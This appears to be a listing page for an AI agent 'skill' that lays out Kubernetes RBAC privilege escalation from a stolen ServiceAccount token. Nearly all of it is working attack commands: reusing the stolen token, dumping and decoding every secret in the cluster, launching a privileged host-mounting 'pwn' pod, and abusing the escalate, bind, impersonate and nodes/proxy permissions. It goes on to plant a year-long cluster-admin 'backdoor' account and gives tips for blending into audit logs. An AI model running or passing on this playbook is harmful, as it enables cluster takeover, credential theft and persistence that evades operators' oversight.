Kubernetes RBAC privilege escalation paths — ClusterRole/Role enumeration via `kubectl auth can-i --list`, abuse of pods/exec, pods/portforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse.
68
82%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc
# Set up kubectl with the stolen token
kubectl config set-credentials hacked --token="$TOKEN"
kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify
kubectl config set-context c --cluster=c --user=hacked --namespace=$NS
kubectl config use-context c
# Enumerate everything you can do
kubectl auth can-i --list # in your namespace
kubectl auth can-i --list --all-namespaces # cluster-wide (often forbidden — that's a signal too)
kubectl auth can-i '*' '*' --all-namespaces # are you cluster-admin?
# Get your role bindings
kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))'pods/exec or pods/attach on a privileged podIf you can exec into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:
# Find pods you can exec into
kubectl auth can-i create pods/exec
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'
# Exec → escape (see k8s-pod-escape skill)
kubectl exec -it -n kube-system privileged-pod-name -- /bin/shsecrets get/list cluster-wide# Dump every secret in the cluster
kubectl get secrets -A -o json > all_secrets.json
# Service-account tokens, image-pull secrets, custom-application secrets — all here
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head
# Pick a more-privileged SA token and re-authenticate
NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)
kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespacescreate pods — run a privileged pod yourselfEven without exec on existing pods, if you can CREATE pods you can build one that mounts the host:
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pwn
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "sh"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
kubectl exec -it pwn -- /bin/shIf PSP / Pod Security Admission blocks privileged: true, downgrade gradually: hostPath: /, hostPID alone, capabilities: [SYS_ADMIN], etc. PSA's restricted profile blocks all of these; baseline blocks privileged + hostPath but allows hostPID; privileged allows everything.
escalate verbThe escalate verb on roles/clusterroles lets you create a role with permissions you DON'T have:
kubectl auth can-i escalate clusterroles
# If "yes":
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: total-pwn
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
EOF
# Then bind it to your SA
kubectl create clusterrolebinding pwn --clusterrole=total-pwn --serviceaccount=$NS:defaultbind verbThe bind verb lets you bind an existing higher-privilege ClusterRole to your SA:
kubectl auth can-i create clusterrolebindings
# OR
kubectl auth can-i bind clusterroles
# Either gives you escalation to cluster-admin:
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=$NS:defaultimpersonate verbkubectl auth can-i impersonate users
# If yes, impersonate cluster-admin:
kubectl --as=system:admin auth can-i '*' '*' --all-namespaces
kubectl --as=system:admin get secrets -A
# Or impersonate a group:
kubectl --as=anything --as-group=system:masters get secrets -Anodes/proxy — bypass RBAC via kubeletkubectl auth can-i get nodes/proxy
# If yes, talk to the kubelet directly (bypasses the API server's RBAC)
kubectl proxy --port=8080 &
curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id'# Create a long-lived SA token (k8s 1.24+ doesn't auto-mount tokens forever)
kubectl create token your-sa --duration=720h # 30-day token
# Or create an SA + ClusterRoleBinding pair that survives revocation of yours
kubectl create sa backdoor -n kube-system
kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor
TOKEN=$(kubectl create token backdoor -n kube-system --duration=8760h) # 1 yearkubectl call hits the API server audit log. kubectl auth can-i --list calls SelfSubjectRulesReview — distinctive in audit logs.create-clusterrolebinding, impersonate, and nodes/proxy access.--user-agent matching the kubectl version already in use on the cluster to blend in.0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.